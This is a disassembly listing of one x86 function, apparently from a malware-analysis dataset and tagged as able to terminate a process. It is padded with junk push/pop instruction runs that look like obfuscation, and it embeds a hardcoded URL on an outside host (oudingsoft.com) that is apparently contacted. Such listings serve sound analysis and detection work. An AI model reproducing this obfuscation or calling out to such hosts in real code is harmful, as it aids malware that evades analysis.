Function at 0x100116f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1017007c
mov eax, dword fs:[0]
push eax
mov eax, 0x1d18
call fcn.10062f00
mov eax, dword [0x101d9154]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d20], ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x114]
push ecx
push eax
call fcn.100691d4
add esp, 8
call fcn.10064a42
test al, al
je 0x10011755
push eax
pop ebx
pop edx
push edi
push edi
pop esp
pop esp
push esi
push esi
pop edx
push edx
pop ebx
push edx
push esi
push edi
push ebp
pop ebp
call fcn.10065033
test al, al
je 0x1001177e
pop eax
pop edx
pop ecx
pop ebx
pop edx
push ebx
pop ebp
pop edi
push esp
pop esp
push esp
push edi
pop edx
push edi
push ebx
pop edx
push edx
push edx
push edx
pop esi
push eax
push ebx
pop edx
push esi
pop esp
push ebp
push edi
pop edx
pop ebx
push edx
pop edx
push ebx
call fcn.100649fd
test al, al
je 0x1001179a
push edi
pop ecx
push edi
push ebp
pop ecx
push edx
pop edx
push esi
pop esi
pop ebp
pop edi
push ebx
push ecx
push esp
pop esp
pop esi
push edx
pop ebp
push eax
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.10080190
add esp, 0xc
call fcn.10064a87
test al, al
je 0x100117d7
push ebp
pop ebp
pop edi
push edx
pop ebx
push esi
pop ecx
pop edi
pop edi
pop esp
pop eax
push ecx
push ecx
pop esi
push edi
push edx
push esi
pop esp
push eax
pop ebp
push edi
push esi
pop ecx
pop ebp
pop eax
push esp
pop ecx
pop edi
pop eax
pop esp
call fcn.100649b8
test al, al
je 0x100117f4
pop esi
pop ebx
pop ecx
pop edx
pop edx
push eax
pop ebp
pop ebp
push esi
push ebp
push ebx
pop edx
push edx
push esp
pop edx
push edi
pop ebx
pop edx
pop ecx
push ecx
call fcn.10065033
test al, al
je 0x10011819
push eax
pop edi
pop edi
pop ecx
push edx
pop edx
push eax
push esi
pop esi
pop eax
push esi
push edx
push edi
push ebp
pop esi
push esi
pop ecx
push ebp
pop esp
push edx
push ecx
pop edi
pop esp
pop edi
pop ebp
push ebp
push ecx
push esi
mov eax, dword [ebp - 0x1d20]
cmp dword [eax + 0x54], 0x10
lea ecx, [eax + 0x40]
jb 0x1001182a
mov ecx, dword [ecx]
cmp dword [eax + 0x9c], 0x10
lea edx, [eax + 0x88]
jb 0x1001183b
mov edx, dword [edx]
cmp dword [eax + 0x84], 0x10
lea esi, [eax + 0x70]
jb 0x10011849
mov esi, dword [esi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x10011854
mov eax, dword [eax]
lea edi, [ebp - 0x114]
push edi
push ecx
push edx
push esi
push eax
lea eax, [ebp - 0x1ccc]
push 0x101754cc
push eax
call fcn.1000eca0
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.10080190
add esp, 0x28
mov dword [ebp - 0x1d1c], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d24], 0xbb8
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
jne 0x100118c2
xor ecx, ecx
jmp 0x100118d9
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100118d0
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.1000bb40
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d24]
push ecx
lea ecx, [ebp - 0xccc]
mov dword [ebp - 4], 0
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.10006e20
add esp, 0x10
call fcn.10064fee
test al, al
je 0x10011943
push ecx
push esi
push edx
pop edx
push ecx
pop edi
push ecx
push esp
push edx
pop ecx
pop ebx
push esp
push esi
push eax
push ecx
push ebp
pop ebx
push esi
pop esp
push edi
pop esi
pop esi
mov ecx, dword [ebp - 0x1d20]
lea eax, [ebp - 0x1d1c]
push eax
lea eax, [ebp - 0xccc]
push eax
call fcn.100120a0
cmp byte [ebp - 0xccc], 0
jne 0x10011969
xor ecx, ecx
jmp 0x1001197b
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10011972
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.1000bb40
push dword [ebp - 0x1d1c]
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.10080190
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d1c]
push ecx
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.10006e20
add esp, 0x1c
call fcn.10064dc3
test al, al
je 0x100119fc
push edi
push ebx
pop edx
pop esi
push ebx
push eax
push eax
push edi
push esi
pop ecx
push ebx
pop ebx
pop esi
pop edx
push ecx
pop ecx
push esp
pop edi
push esp
pop edx
push ebp
push ebp
push eax
push ebx
pop esi
push edx
pop eax
push edx
pop ecx
push ecx
push esi
pop ebp
call fcn.10064e4d
test al, al
je 0x10011a17
pop esi
push ebx
pop eax
pop ebp
pop eax
push esp
push ecx
push edx
pop ebp
push eax
push esp
push ebx
push ebx
push esi
push ebp
pop ecx
pop ecx
push esp
call fcn.100649fd
test al, al
je 0x10011a32
push esi
pop ebp
pop edx
push ebx
push esp
pop ebx
pop ecx
pop edi
pop edx
pop eax
push ebx
push ebx
push edx
push edx
push edi
push edx
pop ebp
push ecx
lea ecx, [ebp - 0x1d15]
call fcn.1005ad70
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1d15]
call fcn.100715b7
call fcn.10064e4d
test al, al
je 0x10011a76
pop edx
push edx
pop ebx
pop edi
pop eax
push ebp
push edi
push edx
push eax
push eax
pop ebx
pop ebx
push esi
pop ebx
pop ecx
push ebp
pop ebx
push edi
push eax
pop ecx
push edx
push eax
push ecx
pop esi
push eax
push esp
push 0x4d
push str.https:__otuyt.oudingsoft.com__3eaf1109879240bfd267f24cfd0728cc1c1442456a6f
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.1000bb40
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 2
jne 0x10011ab4
xor ecx, ecx
jmp 0x10011ac9
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10011ac0
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.1000b8e0
push 0
push 0x10174781
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.1000bb40
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
mov byte [ebp - 4], 3
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.100651c6
add esp, 4
call fcn.10064be0
test al, al
je 0x10011b43
push esp
pop eax
pop edi
push ebx
push ecx
pop esi
pop eax
pop edx
pop edx
push esp
pop eax
pop esp
pop ebx
push edx
pop ecx
pop edi
mov eax, dword [ebp - 0x1d00]
cmp eax, 0x10
jb 0x10011b61
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.1000a150
mov eax, dword [ebp - 0x1ce8]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp eax, 0x10
jb 0x10011b9a
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.1000a150
lea ecx, [ebp - 0x1d15]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.100828a0
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x10011bde
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.1000a150
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10062ee4
mov esp, ebp
pop ebp
ret 4